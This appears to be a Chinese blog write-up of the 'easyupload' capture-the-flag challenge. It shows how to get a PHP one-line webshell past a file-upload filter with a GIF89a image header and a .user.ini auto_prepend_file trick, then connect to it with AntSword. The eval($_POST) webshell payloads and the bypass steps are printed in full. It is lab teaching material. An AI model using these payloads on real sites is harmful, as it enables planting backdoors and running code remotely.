首页 > 其他分享 >攻防世界-easyupload

攻防世界-easyupload

时间:2024-11-20 22:57:52浏览次数:1  
标签:攻防 easyupload 文件 世界 jpg ini file 上传 GIF89a

 打开环境有一个文件上传的界面

 结合题目名字,这是一道木马上传的题目

直接上传木马图片

 给出回显“Your file looks wicked”,这说明了此处的文件上传存在过滤
首先尝试修改一句话木马的构造

   <?php @eval($_POST['1']);?>
   <?=eval($_POST['1']);?>

利用直接利用短标签绕过上传任然被识别,尝试在构造时加上GIF89a(图片文件头)

GIF89a
 <?=eval($_POST['a']);?>

加上图片头后能够上传成功

此时上传的是图片文件,蚁剑无法连接 但能看出可以通过这个方法进行过滤。尝试在提交过程抓包改为php文件,发现被阻止

 这里了解到一个新的方法:

.user.ini文件

auto_prepend_file的用法:
auto_prepend_file可以让所有的php文件自动的包含某个文件。

例如在.user.ini文件中写入

auto_prepend_file=a.jpg

然后在a.jpg中写入一个一句话代码

<?php eval($_P0ST['a']); ?>

那么和.user.ini和a.jpg同一目录下的所有php文件都会包含a.jpg文件。

这时候就可以利用蚁剑对上传木马进行连接

而在这道题目中我们需要加上图片头GIF89a,所以:

.user.ini:
GIF89a
auto_prepend_file=a.jpg
a.jpg:
GIF89a
 <?=eval($_POST['a']);?>

上传文件.user.ini修改文件类型

 上传文件a.jpg

 上传成功,尝试利用蚁剑进行连接

 直接连接连接图片路径,连接失败

 查看流量,此处的文件目录应该为http://61.147.171.105:59158/uploads/index.php

 

 

标签:攻防,easyupload,文件,世界,jpg,ini,file,上传,GIF89a
From: https://www.cnblogs.com/bwcen/p/18559445

相关文章

  • WEB攻防-PHP应用&文件包含&LFI&RFI&伪协议编码算法&无文件利用&黑白盒
    什么是文件包含1、原理程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制(如进行替换和修改),则存储文件包含漏洞白盒发现:在php代码中如果存......
  • LLM:互联网世界的隐形建模师?
    基于模型规划的网络智能体研究我将以幽默风趣且严谨的方式,带领读者一起探索这篇开创性的研究。......
  • #渗透测试#SRC漏洞挖掘#红蓝攻防#地址池搭建之Zmap安装使用
    免责声明本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。                            ......
  • 20222423 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1.实验内容1.2实验任务(1)从www.besti.edu.cn、baidu.com、sina.com.cn中选择一个DNS域名进行查询,获取如下信息:DNS注册人及联系方式该域名对应IP地址IP地址注册人及联系方式IP地址所在国家、城市和具体地理位置PS:使用whois、dig、nslookup、traceroute、以及各......
  • 从零开始的Python世界生活——内置模块(Math)
    从零开始的Python世界生活——内置模块(Math)Python的math模块提供了丰富的数学函数和常数,支持基本的数学运算、三角函数、对数、指数等,适用于科学计算和工程应用。数学常量:注意math模块的常量是以双精度浮点数存储的,所以通常只有15到17位有效数字的精度,如果需要更高的精度推......
  • 相机坐标系与世界坐标系(二)
    1.定义相机坐标系:相机光心为原点世界坐标系:没有固定原点,原点需要根据应用场景的进行定义2.关系  为什么要进行转换?这一点可能很多人懵懵懂懂,很多博客也没有说清楚,如果觉得我说清楚了,可以点个赞,哈哈哈哈。必要性有以下两点:1.相机坐标系和世界坐标系通常具有不同的方向......
  • 20222318 2024-2025-1 《网络与系统攻防技术》实验六实验报告
    1.实验内容1.1实验要求掌握Metasploit的使用方法:“Search——Use——Show——Set——Exploit/run”。1.2实验任务(1)前期渗透(2)Vsftpd源码包后门漏洞(21端口)(3)SambaMS-RPCShell命令注入漏洞(端口139)(4)JavaRMISERVER命令执行漏洞(1099端口)(5)PHPCGI参数执行注入漏洞(80端口)1.3......
  • Java 反射:解锁 Java 世界的 “隐藏技能”
    一、引言在Java开发的广袤天地中,存在着一种犹如魔法般的技术——Java反射。它就像是一把隐藏的钥匙,能够打开Java类与对象内部那些平时看似难以触及的“暗格”,让开发者在运行时去动态地获取类的信息、操作对象的属性以及调用对象的方法等。无论是构建灵活的框架、实现......
  • 20222408 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1.实验内容1.1实验要求(1)选择一个DNS域名进行查询,获取如下信息:DNS注册人及联系方式、该域名对应IP地址、IP地址注册人及联系方式、IP地址所在国家、城市和具体地理位置。(2)尝试获取QQ中某一好友的IP地址,并查询获取该好友所在的具体地理位置。(3)使用nmap开源软件对靶机环境进行扫......
  • 20222315 2024-2025-1 《网络与系统攻防技术》实验五实验报告
    1、实验内容1)从www.besti.edu.cn、baidu.com、sina.com.cn中选择一个DNS域名进行查询,获取如下信息:DNS注册人及联系方式该域名对应IP地址IP地址注册人及联系方式IP地址所在国家、城市和具体地理位置PS:使用whois、dig、nslookup、traceroute、以及各类在线和离线工具进行搜集......